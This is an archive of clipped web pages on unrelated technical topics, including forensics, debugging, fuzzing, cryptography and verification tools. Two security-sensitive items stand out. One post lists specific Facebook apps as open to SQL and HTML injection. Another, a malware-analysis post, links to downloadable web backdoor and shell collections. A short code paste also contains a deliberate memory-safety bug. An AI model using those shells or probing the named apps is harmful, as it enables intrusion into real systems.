description of each instruction is available in the Fphelp.hlp file provided
with MASM32, a more in-depth review is provided with more tangible examples of
their usage.

The final chapter provides a fully commented example of a semi-complex
computation.

It should be noted that this document has been prepared according to the
syntax used by MASM. Although most other assemblers/compilers should have a
similar syntax for the FPU instruction mnemonics, their syntax may differ for
the addressing mode of memory variables. It is also known that some of the
instructions used without explicit parameters are not supported by some of the
other assemblers/compilers.

Any comment or suggestion aimed at improving this document will be given due
consideration. Those can be sent to:

rayfil@hotmail.com

Please use "Simply FPU" in the subject line to help its retrieval from the
ever increasing SPAM.

# Deep Packer Inspector

**Created:**| _5/28/2017 11:08:34 AM_  
---|---  
**Updated:**| _5/28/2017 11:08:34 AM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

  

<img src='img/Temp2_2063.png' width='128' height='128' />

### Deep Packer Inspector

##### a service based on:

#####  ** _SoK: Deep Packer Inspection: A Longitudinal Study of the Complexity
of Run-Time Packers_ **

__ How does it work?

  

# It’s the little things \(Part One\)

**Created:**| _2/1/2010 4:40:23 PM_  
---|---  
**Updated:**| _2/1/2010 4:40:33 PM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

## It’s the little things \(Part One\)

Posted by Steven on January 15, 2010 – 3:03 am

Filed under Evidence Analysis

Many times, a digital forensic investigation does not have access with the
desired data. The .lnk shortcut file and the thumbprint cache are invaluable
sources with Windows devices to provide details about missing data.

Individuals wanting to hide their activities may flush their browser cache,
Temp files, use, and even wipe the drive free space. However, they may forget
these two minor “tidbits”. These can show detail, indicate actions and
associated history. Be Warned, I have found Windows machines having thousands
of .lnk files on a “scrubbed PC.”

The shortcut \(.lnk\) file is an amazing mine of information for such a small
file. This PDF \(See Link\) is an invaluable source describing the details of
the shortcut .lnk. The shortcut file name format is usually **name.ext.lnk**
There may be multiple .lnk files created for one file depending upon the type.

XP stores the .lnk files for the Word 2007 Document Brains.docx in:

**%Drive%:** Documents and SettingsUser IDRecent  
The above .lnk \(..Recent\)is slightly larger  
**%Drive%:** Documents and SettingsUser IDApplication
DataMicrosoftOfficeRecent

Windows 7 stores these .lnk files in  
**%Drive%** :UserssddAppDataRoamingMicrosoftWindowsRecent  
The above .lnk \(..Recent\) is twice the size of the second.  
**%Drive%** :UserssddAppDataRoamingMicrosoftOfficeRecent

.lnk File properties show only a tip of available information. Compare the
same Word 2007 Brains.docx.lnk file for XP and Windows 7. I use XVI32 as my
hex-editor for details about the type of storage, location, Volume Serial
number and much more.

Review the XP Hex dump example below. Then, compare the two different hex
dumps of Windows 7 .lnk files. \(You may need to zoom to inspect the images.\)
I did not include all of the first .lnk file hex.

<img src='img/Temp2_4616.png' width='300' height='161' alt='Windows XP
Brains.docx.lnk view' />

Windows XP Brains.docx.lnk view \(click to enlarge\)

<img src='img/Temp2_4617.png' width='300' height='162' alt='Windows 7 lnk
(upper view)' />

Windows 7 lnk \(upper view\) \(click to enlarge\)

<img src='img/Temp2_4618.png' width='300' height='165' alt='Windows 7 (lower
view)' />

Windows 7 \(lower view\) \(click to enlarge\)

Thumbs or Thumbnails are also invaluable source of data. I will discuss them
in my next posting. I will then tie the Thumbnails and Shortcuts together.

**Source and Links**

Windows Shortcut File format:
http://www.i2s-lab.com/Papers/The\_Windows\_Shortcut\_File\_Format.pdf

XVI32 Hex Editor:
http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm

_Steven is the senior member of an IT Security team for a Bio-Pharma company.
He has presented to a variety audiences including SANS, Midwest Consolidated
Security Forum and various local chapters of HTCIA and ISACA. His current
focus is Certificate Management, Encryption and Incident Response. With a
science degree unrelated to IT, Steven has over 20 years in Information
Technology with the past 13 years in Security. He has earned among the various
vendor certificates, his CISSP \(\#3700\), CISA \(\#153869\) as well as GIAC
G7799 \(\#151\) Silver and GCFA \(\#18\) gold certifications._

  *[January 15, 2010 – 3:03 am]: 2010-01-15T03:03:06+0000

# WebShell

**Created:**| _4/21/2010 9:27:58 AM_  
---|---  
**Updated:**| _4/21/2010 9:28:25 AM_  
**Author:**| __  
**Tags:**| _web-app-sec shellcode bookmark web commandline-kungfu crypto
mobile/embedded_  
  

## Features

  * VT100, ECMA-48 terminal emulation
  * Integrated secure http server
  * UTF-8, with chinese/japanese wide glyph support
  * Virtual keyboard for iPhone users
  * Changeable appearance
  * Compliant with vttest

## Planned Features

  * VT52 terminal emulation

## Security

WebShell communications are as secure as a regular secure shell, as both ssh
and WebShell are on top of theSSL/TLS layer.

The code has been tested against buffer overflow and denial of service. If you
find any problem, please report here.

# Clarity Deconvolution Library :: CISMM

**Created:**| _5/20/2012 4:26:25 PM_  
---|---  
**Updated:**| _5/20/2012 4:26:25 PM_  
**Author:**| __  
**Tags:**| _algos image-processing_  
  

## Clarity Deconvolution Library

Clarity is an open-source C/C++ library implementing many of the common
deconvolution algorithms used in fluorescence microscopy image processing. It
is designed specifically for processing 3D images generated from optical
sectioning.

Because deconvolution is a computationally intensive process, Clarity uses
multithreaded algorithms to make full use of all the cores on modern multi-
core computer systems. For even greater performance, the deconvolution
algorithms can optionally run on commodity graphics processing units that
feature hundreds of computing cores. Support for acceleration on graphics
processing units is currently limited to NVIDIA graphics cards.

# Security-Shell: More Bugs on apps.facebook.com

**Created:**| _3/14/2010 8:44:53 AM_  
---|---  
**Updated:**| _3/14/2010 8:45:10 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

### More Bugs on apps.facebook.com

Let's see some new vulnerabilities on apps.facebook.com Still SQL and HTML
Injection  
  
apps.facebook.com/ufundraise sql injection  
  
<img src='img/Temp2_7379.jpg' />  
apps.facebook.com/app-tap HTML Injection - See POC  
  
<img src='img/Temp2_7378.jpg' />  
apps.facebook.com/pronosticstn sql injection  
  
<img src='img/Temp2_7376.jpg' />  
apps.facebook.com/travelbuddies HTML Injection and redirect - See POC  
  
apps.facebook.com/checkmycampus HTML Injection - See POC  
  
I'm tired to search for other,but I'm sure that many more are
vulnerable.Anyway,  
check also my old post, Multiple bugs on apps.facebook.com

Pubblicato da d3v1l a 8:38 PM <img src='img/Temp2_7377.jpg' width='18'
height='13' />

Etichette: Bugs, SQL Injection

<img src='img/Temp2_7380.jpg' />

  *[8:38 PM]: 2010-03-13T20:38:00+01:00

# contagio: A Collection of Web Backdoors & Shells – from DK
\(http://michaeldaw.org\) and ARTeam \(http://www.accessroot.com\)

**Created:**| _9/23/2011 11:46:22 AM_  
---|---  
**Updated:**| _9/23/2011 12:12:56 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

##  Wednesday, June 9, 2010

###  A Collection of Web Backdoors & Shells – from DK
\(http://michaeldaw.org\) and ARTeam \(http://www.accessroot.com\)

> "I have collected some WEB backdoors in the past to exploit vulnerable file
> upload facilities  
>  and others. I think a library like this may be useful in a variety of
> situations.  
>  Understanding how these backdoors work can help security administrators  
>  implement firewalling and security policies to mitigate obvious attacks."
> \- DK
> cmd-asp-5.1.asp 8baa99666bf3734cbdfdd10088e0cd9f  
>  cmdasp.asp 57b51418a799d2d016be546f399c2e9b  
>  cmdasp.aspx 5e83b6ed422399de04408b80f3e5470e  
>  cmdjsp.jsp 815611cc39f17f05a73444d699341d4  
>  jsp-reverse.jsp 8b0e6779f25a17f0ffb3df14122ba594  
>  php-backdoor.php z0mbie 2b5cb105c4ea9b5ebc64705b4bd86bf7  
>  simple-backdoor.php f091d1b9274c881f8e41b2f96e6b9936  
>  perlcmd.cgi 97ae7222d7f13e908c6d7f563cb1e72b  
>  cfexec.cfm bd04f47283c53ca0ce6436a79ccd600f
  
Original Post http://michaeldaw.org/projects/web-backdoor-compilation  
  

#  ** Index of /ARTeam/webshell **

  * antichat.rar
  * c99.rar
  * cihshell\_fix.rar
  * mysqlwebsh.rar
  * r57.1.4.0.rar
  * r57142.rar
  * redcod.rar
  * remview\_fix.rar
  * sql.rar
  * wso2.rar

  
  

  

Download link 1 http://michaeldaw.org/projects/wbc-v1b.tar.gz  
Download link 2 Webshells from ARTeam http://xchg.info/ARTeam/webshell/  
  
Many thanks to Michael and Gunther for sharing.  
  

  

  
  

# Debugging Multithreaded Applications in Windows | Dr Dobb's
**Created:**| _8/14/2013 1:48:10 PM_  
---|---  
**Updated:**| _8/14/2013 1:48:10 PM_  
**Author:**| __  
**Tags:**| _Debugging visualstudio performance multi-threading_  
  

# **D** ebugging Multithreaded Applications in Windows****

By Shameem Akhter and Jason Roberts, August 13, 2013

  
  
End the frustration of tracking down thread-specific bugs with a few simple
options in Visual Studio**.**

Debugging applications in which several threads are active can be challenging
to the point of great frustration**.** This article aims to relieve a bit of
that frustration by explaining how to utilize Visual Studio to debug
multithreaded applications**.** As part of Visual Studio, Microsoft includes a
debugger with multithreaded debug support**.** We'll start by examining the
different multithreaded debug capabilities of Visual Studio, and then
demonstrate how to use them**.**

### Threads Window****

As part of the debugger, Visual Studio provides a "Threads" window that lists
all of the current threads in the system**.** From this window, you can:

  * _Freeze \(suspend\) or thaw \(resume\) a thread_**.** This is useful when you want to observe the behavior of your application without a certain thread running**.**
  * _Switch the current active thread_**.** This allows you to manually perform a context switch and make another thread active in the application**.**
  * _Examine thread state_**.** When you double-click an entry in the Threads window, the source window jumps to the source line that the thread is currently executing**.** This tells you the thread's current program counter**.** You will be able to examine the state of local variables within the thread**.**

The Threads window acts as the command center for examining and controlling
the different threads in an application**.**

### Tracepoints****

Determining the sequence of events that lead to a race condition or deadlock
situation is critical in determining the root cause of any multithread-related
bug**.** To facilitate the logging of events, Microsoft has implemented
_tracepoints_ as part of the debugger for Visual Studio for many years**.**

Most developers are familiar with the concept of a breakpoint**.** A
tracepoint is similar to a breakpoint except that instead of stopping program
execution when the applications program counter reaches that point, the
debugger takes some other action**.** This action can be printing a message or
running a Visual Studio macro**.**

Enabling tracepoints can be done in one of two ways**.** To create a new
tracepoint, set the cursor to the source line of code and select "Insert
Tracepoint**.** " If you want to convert an existing breakpoint to a
tracepoint, simply select the breakpoint and pick the "When Hit" option from
the Breakpoint submenu**.** At this point, the tracepoint dialog appears**.**

When a tracepoint is hit, one of two actions is taken based on the information
specified by the user**.** The simplest action is to print a message**.** You
can customize the message based on a set of predefined keywords**.** These
keywords, along with a synopsis of what gets printed, are shown in Table
1**.** All values are taken at the time the tracepoint is hit**.**

**KEYWORD**| **EVALUATES TO**  
---|---  
$ADDRESS| The address of the instruction  
$CALLER| The name of the function that called this function  
$CALLSTACK| The state of the callstack  
$FUNCTION| The name of the current function  
| The ID of the process  
$PNAME| The name of the process  
| The ID of the thread  
$TNAME| The name of the thread  
**Table 1: Tracepoint keywords**.****

In addition to these predefined values, tracepoints also give you the ability
to evaluate expressions ins the message**.** To do this, simply enclose the
variable or expression in curly braces**.** For example, assume your thread
has a local variable `threadLocalVar` that you'd like to have displayed when a
tracepoint is hit**.** The expression you'd use might look something like
this:  
`Thread: $TNAME local variables value is {threadLocalVar}`**.**

### Breakpoint Filters****

Breakpoint filters enable developers to trigger breakpoints only when certain
conditions are triggered**.** Breakpoints can be filtered by machine name,
process, and thread**.** A list of different breakpoint filters is shown in
Table 2**.**

**FILTER**| **DESCRIPTION**  
---|---  
MachineName| Specifies that the breakpoint should only be triggered on certain
machines  
ProcessId| Limit breakpoint to process with the matching ID  
ProcessName| Limit breakpoint to process with matching name  
ThreadId| Limit breakpoint to thread with matching ID  
ThreadName| Limit breakpoint to thread with matching name  
**Table 2: Breakpoint filter options**.****

Breakpoint filters can be combined to form compound statements**.** Three
logic operators are supported: `**!** `\(not\), `&` \(and\), and `||
`\(or\)**.**

### Naming Threads****

When debugging a multithreaded application, it is often useful to assign
unique names to the threads that are used in the application**.** Assigning a
name to a thread in a managed application is as simple as setting a property
on the thread object**.** In this environment, it is highly recommended that
you set the name field when creating the thread because managed code provides
no way to identify a thread by its ID**.**

In native Windows code, a thread ID can be directly matched to an individual
thread**.** Nonetheless, keeping track of different thread IDs makes the job
of debugging more difficult, as it is hard to keep track of individual thread
IDs**.** Unfortunately, the standard thread APIs in Win32 lack the ability to
associate a name with a thread**.** As a result, this association must be made
by an external debugging tool**.**

Microsoft has enabled this capability through predefined exceptions built into
their debugging tools**.** Applications that want to see a thread referred to
by name need to implement a small function that raises an exception**.** The
exception is caught by the debugger, which then takes the specified name and
assigns it to the associated ID**.** Once the exception handler completes, the
debugger will use the user-supplied name from then on**.**

The implementation of this function can be found on the Microsoft Developer
Network \(MSDN\) website at msdn.microsoft.com by searching for: "setting a
thread name \(unmanaged\)**.** " The function, named `SetThreadName()`, takes
two arguments**.** The first argument is the thread ID. The recommended way of
specifying the thread ID is to send the value `-1`, indicating that the ID of
the calling thread should be used**.** The second parameter is the name of the
thread. The `SetThreadName()` function calls `RaiseException()`, passing in a
special "thread exception" code and a structure that includes the thread ID
and name parameters specified by the programmer**.**

Once the application has the `SetThreadName()` function defined, the developer
may call the function to name a thread**.** This is shown in Listing One**.**
The function `Thread1` is given the name `Producer`, indicating that it is
producing data for a consumer**.** Note that the function is called at the
start of the thread, and that the thread ID is specified as `-1`**.** This
indicates to the debugger that it should associate the calling thread with the
associated ID**.**

**Listing One: Using SetThreadName to name a thread**.****

?

| `unsigned __stdcall Thread1(``void` `*)``{``int` `i, x = 0; ``// arbitrary
local variable declarations ``SetThreadName(-1, ``"Producer"``);``// Thread
logic follows``}`  
---|---  
Naming a thread in this fashion has a few limitations**.** This technique is a
debugger construct; the OS is not in any way aware of the name of the
thread**.** Therefore, the thread name is not available to anyone other than
the debugger**.** You cannot programmatically query a thread for its name
using this mechanism**.** Assigning a name to a thread using this technique
requires a debugger that supports exception number 0x406D1388**.** Both
Microsoft's Visual Studio and WinDbg debuggers support this exception**.**
Despite these limitations, it is generally advisable to use this technique
where supported as it makes it much easier to use the debugger and track down
multithreaded bugs**.**

****

_Seite 2_

By Shameem Akhter and Jason Roberts, August 13, 2013

End the frustration of tracking down thread-specific bugs with a few simple
options in Visual Studio**.**

### Putting It All Together****

Let's stop for a minute and take a look at applying the previously discussed
principles to a simplified real-world example**.** Assume that you are writing
a data-acquisition application**.** Your design calls for a producer thread
that samples data from a device every second and stores the reading in a
global variable for subsequent processing**.** A consumer thread periodically
runs and processes the data from the producer**.** In order to prevent data
corruption, the global variable shared by the producer and consumer is
protected with a Critical Section**.** An example of a simple implementation
of the producer and consumer threads is shown in Listing Two**.** \(Note that
error handling is omitted for readability**.**\)

**Listing Two: Simple data acquisition device**.****

[code]

      	static int m_global = 0;
    	static CRITICAL_SECTION hLock; // protect m_global
    
    	// Simple simulation of data acquisition
    	void sample_data()
    	{
    	EnterCriticalSection(&hLock);
    	m_global = rand();
    	LeaveCriticalSection(&hLock);
    	}
    
    		// This function is an example
    		// of what can be done to data
    		// after collection
    		// In this case, you update the display
    		// in real time
    	void process_data()
    	{
    		EnterCriticalSection(&hLock);
    		printf("m_global = 0x%x\n", m_global);
    		LeaveCriticalSection(&hLock);
    	}
    
    		// Producer thread to simulate real time
    		// data acquisition**.** Collect 30 s
    		// worth of data
    		unsigned __stdcall Thread1(void *)
    		{
    			int count = 0;
    			SetThreadName(-1, "Producer");
    			while (1)
    			{
    				// update the data
    				sample_data();
    
    				Sleep(1000);
    				count++;
    				if (count > 30)
    					break;
    			}
    			return 0;
    		}
    
    		// Consumer thread
    		// Collect data when scheduled and
    		// process it**.** Read 30 s worth of data
    		unsigned __stdcall Thread2(void *)
    		{
    			int count = 0;
    			SetThreadName(-1, "Consumer");
    			while (1)
    			{
    				process_data();
    
    				Sleep(1000);
    				count++;
    				if (count > 30)
    					break;
    			}
    			return 0;
    		}
    
[/code]

The producer samples data on line 34 and the consumer processes the data in
line 53**.** Given this relatively simple situation, it is easy to verify that
the program is correct and free of race conditions and deadlocks**.** Now
assume that the programmer wants to take advantage of an error-detection
mechanism on the data acquisition device that indicates to the user that the
data sample collected has a problem**.** The changes made to the producer
thread by the programmer are shown in Listing Three**.**

**Listing Three: Sampling data with error checking**.****

[code]

            void sample_data()
            {
                 EnterCriticalSection(&hLock);
                 m_global =   rand();
                 if   ((m_global % 0xC5F) == 0)
                 {
                      //   handle error
                      return;
                 }
                 LeaveCriticalSection(&hLock);
            }
[/code]

After making these changes and rebuilding, the application becomes
unstable**.** In most instances, the application runs without any problems.
However, in certain circumstances, the application stops printing data**.**
How do you determine what's going on**?**

The key to isolating the problem is capturing a trace of the sequence of
events that occurred prior to the system hanging**.** This can be done with a
custom trace buffer manager or with tracepoints**.** This example uses the
trace buffer implemented in Listing One**.**

Now armed with a logging mechanism, you are ready to run the program until the
error case is triggered**.** Once the system fails, you can stop the debugger
and examine the state of the system**.** To do this, run the application until
the point of failure**.** Then, using the debugger, stop the program from
executing**.** At this point, you'll be able bring up the Threads window to
see the state information for each thread, such as the one shown in Figure
1**.**

<img src='img/Temp2_2029.gif' alt='multithreaded debugging' />

**Figure 1: Examining thread state information using Visual Studio**.****

When you examine the state of the application, you can see that the consumer
thread is blocked, waiting for the `process_data()` call to return**.** To see
what occurred prior to this failure, access the trace buffer**.** With the
application stopped, call the `PrintTraceBuffer()` method directly from Visual
Studio's debugger**.** The output of this call in this sample run is shown in
Figure 2**.**

[code]

         Thread ID| Timestamp|Msg
         ---------|----------|------------------------------------
         0x0000728|1137395188|Producer: sampled data value: 0x29
         0x00005a8|1137395188|Consumer: processed data value: 0x29
         0x0000728|1137395189|Producer: sampled data value: 0x78
         0x00005a8|1137395189|Consumer: processed data value: 0x78
         0x0000728|1137395190|Producer: sampled data value: 0x18BE
         0x0000728|1137395190|Producer: sampled data value: 0x6784
         0x0000728|1137395190|Producer: sampled data value: 0x4AE1
         0x0000728|1137395191|Producer: sampled data value: 0x3D6C
[/code]

**Figure 2: Output from trace buffer after error condition occurs**.****

Examination of the trace buffer log shows that the producer thread is still
making forward progress**.** However, no data values after the first two make
it to the consumer**.** This coupled with the fact that the thread state for
the consumer thread indicates that the thread is stuck, points to an error
where the critical section is not properly released**.** Upon closer
inspection, it appears that the data value in line 7 of the trace buffer log
is an error value**.** This leads up back to your new handling code, which
handles the error but forgets to release the mutex**.** This causes the
consumer thread to be blocked indefinitely, which leads to the consumer thread
being starved**.** \(Technically, this isn't a deadlock situation, as the
producer thread is not waiting on a resource that the consumer thread
holds**.**\)

What this example shows is that by combining several features — the ability to
name threads, tracepoints, and logging — it becomes possible to zero in on the
problem without having to try to do all the diagnostic work after the
fact**.** Developing other specialized activities that are tied to tracepoints
can provide further assistance in bug hunting**.** Good luck**\!**

* * *
_Shameem Akhter is a platform architect at Intel, focusing on single socket
multi-core architecture and performance analysis**.** Jason Roberts is a
senior software engineer at Intel Corporation**.** This article is adapted
from in the book_ Multi-Core Programming: Increasing Performance through
Software Multi-threading _, published by Intel Press, Copyright 2011 Intel
Corporation**.**_

****

# Cryptology ePrint Archive: Report 2012/074

**Created:**| _2/23/2012 9:50:57 PM_  
---|---  
**Updated:**| _2/23/2012 9:50:59 PM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  

## Cryptology ePrint Archive: Report 2012/074

**Another look at HMAC**

_Neal Koblitz and Alfred Menezes_

**Abstract:** HMAC is the most widely-deployed cryptographic-hash-function-
based message authentication code. First, we describe a security issue that
arises because of inconsistencies in the standards and the published
literature regarding keylength. We prove a separation result between two
versions of HMAC, which we denote HMAC^\{std\} and HMAC^\{Bel\}, the former
being the real-world version standardized by Bellare et al. in 1997 and the
latter being the version described in Bellare's proof of security in his
Crypto 2006 paper. Second, we describe how HMAC^\{NIST\} \(the FIPS version
standardized by NIST\), while provably secure, succumbs to a practical attack
in the multi-user setting. Third, we describe a fundamental flaw in Bellare's
2006 security proof for HMAC, and show that with the flaw removed the proof
gives a security guarantee that is of little value in practice. We give a new
proof of NMAC security that gives a stronger result for NMAC and HMAC -- and
solves an "interesting open problem" from Bellare's Crypto 2006 paper -- and
discuss its limitations.

**Category / Keywords:** secret-key cryptography /

**Publication Info:** Also available at http://anotherlook.ca

**Date:** received 19 Feb 2012

**Contact author:** ajmeneze at uwaterloo ca

**Available formats:**PDF | BibTeX Citation
**Version:** 20120223:134214 \(All versions of this report\)

**Discussion forum: **Show discussion | Start new discussion
* * *

# char \*myfunc\(char \*a\) \{ char \*q; q = malloc\(10\); m - Pastebin.com

**Created:**| _4/21/2011 10:27:54 AM_  
---|---  
**Updated:**| _4/21/2011 10:27:54 AM_  
**Author:**| __  
**Tags:**| _Decompiler programming_  
  

  1. char \*myfunc\(char \*a\)
  2. \{
  3. char \*q;
  4.   5. q = malloc\(10\);
  6. memcpy\(q, a, 20\);
  7. free\(q\);
  8. return q;
  9. \}
  10.   11. int f\_34ffc4\(
  12. int arg\_249f0
  13. \)
  14. \{
  15. int reg\_0;
  16. int reg\_66;
  17. int local\_186a3;
  18. int local\_186a4;
  19. L\_0:
  20. reg\_66 = 10;
  21. reg\_0 = \(int\)malloc\(reg\_66\);
  22. local\_186a4 = reg\_0;
  23. local\_186a3 = 20;
  24. memcpy\(reg\_0, arg\_249f0, local\_186a3\);
  25. free\(\(void \*\)local\_186a4\);
  26. reg\_0 = local\_186a4;
  27. return reg\_0;
  28. \}

# Fuzzing proprietary protocols with Scapy, radamsa and a handful of PCAPs

**Created:**| _6/29/2017 4:06:04 PM_  
---|---  
**Updated:**| _6/29/2017 4:06:04 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Fuzzing proprietary protocols with Scapy, radamsa and a handful of PCAPs

security, tools, fuzzing — 10 June 2017

<img src='img/Temp2_3359.png' width='960' height='645' />

##### Introduction

As security consultants, we act as hired guns by our clients to perform black-
box security testing of applications. Oftentimes we have to assess the
security of applications that use their own proprietary schemes for
communication, instead of relying on conventional protocols such as HTTP.

Recently we were faced with a short-term engagement that involved testing the
security of a custom-built application that had its own communication
protocol, wrapped around a SSL/TLS tunnel.

This post aims to describe the process of how we got around the technical
limitations and time-constraints imposed by this engagement and managed to
successfully test and find bugs in the application via mutation-based fuzzing.

##### What are proprietary protocols?

Roughly speaking, a proprietary protocol is a protocol that is not defined by
an open standard or controlled by an individual or company. In many cases
there is no official documentation about their inner workings, making
difficult to communicate with applications that use closed protocols.

Needless to say, protocols vary on degree of complexity and some are more
complicated than others: for instance, a given protocol may be pretty
straightforward -- based on ASCII characters, easy to understand and with
additional fields that can be easily correlated to other elements of the
message.

On the other hand, more complex protocols exist. These may involve different
data representations, binary or serialized data, checksums, and value fields
that are not obvious at first sight.

Despite being proprietary, some protocols have their specifications documented
either by official documentation provided by the vendor \(such as FInancial
eXchange - FIX, widely used for stock trading\) or have been reverse
engineered in the past by enthusiasts and open source advocates --  
a prime example of this is AOL's OSCAR protocol for instant messaging.

Whilst reverse engineering of network protocols is possible, it is a
cumbersome task that involves high doses of patience, skills and, most
importantly, time. Having all these elements in place is not always feasible,
so we needed an alternative to solve the problem we had in hand.

##### Automated software security testing with fuzzing

Fuzzing is an area that has gained a lot of attention in the past few years
and several more advanced approaches have emerged in both academic circles and
industry.

Earlier fuzzing techniques can be roughly divided into mutation and generation
based, although more advanced and modern approaches exist, such as
evolutionary fuzzing, that taps on the feedback of code coverage and generates
better inputs with the aid of genetic algorithms, and other techniques that
rely on constraint solvers, concolic and symbolic execution, etc.

Mutation-based fuzzing is often referred to as "dumb fuzzing", as what it does
is to perform random mutations of the input and spit out mangled data as
result. However, don't be fooled by its name: dumb fuzzing can be very
effective and has claimed responsibility for finding numerous bugs in popular
software.

Another popular strategy is known as generation-based fuzzing. This technique
involves prior knowledge of the protocol or file format being fuzzed and it
generates test cases that mostly comply with the protocol, but with some
fields containing data known to cause unexpected behaviour, such as large
strings, malicious input containing shell metacharacters, negative, very long
or subnormal numbers and more.

##### Benefits and shortcomings

Mutation-based fuzzing has the advantage of being quick to set up and can
actually give good results; however, it may not excel at achieving high code
coverage \(your test samples will play a key role here\), or in situations
where checksums need to be adjusted before being sent to the application for
processing -- the application will most likely reject the rest of the input
altogether as checksums will fail, not reaching potentially vulnerable areas
of the code.

Generation-based is more likely to have greater code coverage, at the expense
of being more time-consuming to be created. Also, the creativity of the
fuzzing oracle and how clever the mutation and data mangling heuristics are
will determine its success at finding bugs.

##### Our case and the approach we took

We were lucky the protocol we had to deal with, albeit proprietary, was ASCII-
based and did not seem to be overly complicated. However, spending time to
understand it and create a generation-based fuzzer to spit out test cases was
out of question given time limitations. Moreover, why spending precious time
writing our own mutation engine when there are very good ones out there?

Also related to the protocol itself: as there was no need to calculate
checksums or to comply with other strict protocol structures, we opted to fuzz
using a mutation-based approach.

For our engagement all we had in hand were packet captures \(PCAPs\) of
plaintext traffic between the client and application we wanted to test.

We took care to make sure we would get several sample PCAPs for different
functionalities and usages of the application; this way we can guarantee our
fuzzer will stress, with weird test cases, different areas of the available
attack surface of the application, increasing code coverage and consequently
our chances to find bugs.

As in this case all traffic between the client and the application was wrapped
in TLS/SSL, it was very important to ask for captures of non-encrypted
traffic, as to fuzz the application we required application-level
communication only, not transport or upper layer traffic.

Additionally, the protocol we had to fuzz worked as some sort of a state-
machine: after the handshake message \(which could be fuzzed too\), it would
expect a few other messages, in some order, for further processing.

That means that if we sent the handshake and subsequently sent a malformed
message when it was expecting, for instance, a login message, we would not be
able to fuzz anything past the login, as it was rejected prior.

To get around this we added some more randomness to our fuzzer: only a certain
percentage of the payloads within the PCAP would be mutated. This would give
us more permutations and the ability to send clean handshake and N-1 messages,
but with only the last \(N message\) fuzzed; or fuzzed handshake and clean
messages afterwards, or clean handshake and malformed login, and clean further
messages, etc.

##### Tools of the trade

In order to put together a Python script that could perform the task described
above, we used:

  * Scapy: a library that serves as a swiss-knife for all things related to network and can parse, read, write and replay data from PCAPs.
  * radamsa: a popular mutation-based fuzzing tool and weapon of choice of many security researchers.

##### Technical bits and pieces: putting it together

After outlining the general idea of what we wanted to do, which fuzzing
strategy best suits our case and the tools required for the task, it's now
time to do a rough break down of the steps we used to perform simple dumb
fuzzing of the application:

  * Step 0: Define a fuzz factor -- example, only 20% of the packets will be mutated
  * Step 1: Parse the PCAP looking for client -> server communication only
  * Step 2: Out of these captures, find the ones that contain actual payload, as PCAPs will sometimes contain communication that isn't relevant for our purposes, such as TCP 3-way handshakes and other signalling
  * Step 3: Enter in an infinite loop to:
    * Step 3.1: Extract the payload, randomly decide if we should fuzz it based on the fuzz factor; if so, pipe it into the mutation engine
    * Step 3.2: Get the mutated data
    * Step 3.3: Send the mangled payload \(or clean payload, depending on if it was fuzzed or not\) to the target application
    * Step 3.4: Wash, rinse, repeat. Leave it overnight.
  * Step 4: Watch it for crashes and perform crash triaging, if applicable

In fact, step 4 was not within our reach: as the engagement took place from a
pure black-box perspective, there was no instrumentation and not even
observation for crashes from our part. The client was kind enough to verify
for crashes themselves, and our fuzzing script checked connectivity to the
target after sending each mangled test case. While it was slow, it gave us
some degree of visibility whether the target application crashed or not.

Later on during the engagement we were informed by the client that the fuzzer
triggered four crashes; three of them were unique. We did not have enough time
to perform any sort of crash analysis, but the fuzzed test cases triggered
unhandled exceptions and could severely impact the availability of a service
that is expected to be always online.

An open source implementation of the steps outlined above can be found in our
Github. It is important to say it serves only to illustrate the ideas
discussed in this blog post. The sample code can hardly be used out of the box
against actual applications, but with some modification it may suit different
needs.

##### Conclusion

Even in its simplest form, fuzzing can be a very useful tool for uncovering
vulnerabilities and should be in the repertoire of every information security
engineer.

For testing applications that use proprietary or non-documented protocols,
sample PCAPs of different forms of usage of the target application are very
useful to test a larger attack surface and improve the chances to find bugs. A
good fuzzing engine that has creative and unconventional heuristics is also
necessary to mutate sample test cases that may trigger subtle bugs and reach
corner cases buried deep within the code's logic.

##### References

**1\. Github link name**  
https://github.com/blazeinfosec/pcrappyfuzzer

**2\. AOL's Oscar Protocol**  
https://en.wikipedia.org/wiki/OSCAR\_protocol

**3\. Babysitting an army of monkeys - presentation at CanSecWest 2010 by
Charlie Miller** https://fuzzinginfo.files.wordpress.com/2012/05/cmiller-
csw-2010.pdf

Share

  * Facebook
  * Linkedin
  * Twitter

  

# Boogie: An Intermediate Verification Language - Microsoft Research

**Created:**| _12/7/2012 1:12:27 PM_  
---|---  
**Updated:**| _12/7/2012 1:12:27 PM_  
**Author:**| __  
**Tags:**| _solver il constraint solving_  
  
  

Boogie: An Intermediate Verification Language

Boogie is an intermediate verification language, intended as a layer on which
to build program verifiers for other languages. Several program verifiers have
been built in this way, including the VCC and HAVOC verifiers for C and the
verifiers for Dafny, Chalice, and Spec\#. A previous version of the language
was called BoogiePL. The current language \(version 2\) is currently known as
just Boogie, which is also the name of the verification tool that takes Boogie
programs as input.

Boogie is also the name of a **tool**. The tool accepts the Boogie language as
input, optionally infers some invariants in the given Boogie program, and then
generates verification conditions that are passed to an SMT solver. The
default SMT solver is Z3.

<img src='img/Temp2_1112.png' width='300' height='236' />

The Boogie research project is being developed primarily in the RiSE group at
Microsoft Research in Redmond. However, people at several other institutions
make the open-source Boogie tool what it is.

## Papers

If you want to **learn more** about the Boogie language and tool, good places
to start are the Boogie 2 language reference manual and the Boogie tool
architectural overview.

## Historical notes

In their geneses, **Boogie** and **Spec\#** were developed hand in hand. For
this reason, the name Boogie has been used to describe Spec\#-related things.
In particular, the Spec\# static program verifier, which translates compiled
Spec\# programs \(.NET bytecode\) into Boogie, has been called Boogie, but the
Spec\# verifier is nowadays a separate tool \(built on Boogie\) called
SscBoogie. Finally, Spec\# uses an ownership-based discipline for handling
object invariants. This discipline is known as the Boogie **methodology** ,
but it is tied only to Spec\# and its bytecode translator, not to the Boogie
verification language.

People

<img src='img/Temp2_1117.png' width='72' height='72' alt='Mike Barnett' />

Mike Barnett

  

<img src='img/Temp2_1118.png' width='72' height='72' alt='Shuvendu Lahiri' />

Shuvendu Lahiri

  

<img src='img/Temp2_1119.png' width='72' height='72' alt='Akash Lal' />

Akash Lal

  

<img src='img/Temp2_1111.png' width='72' height='72' alt='Rustan Leino' />

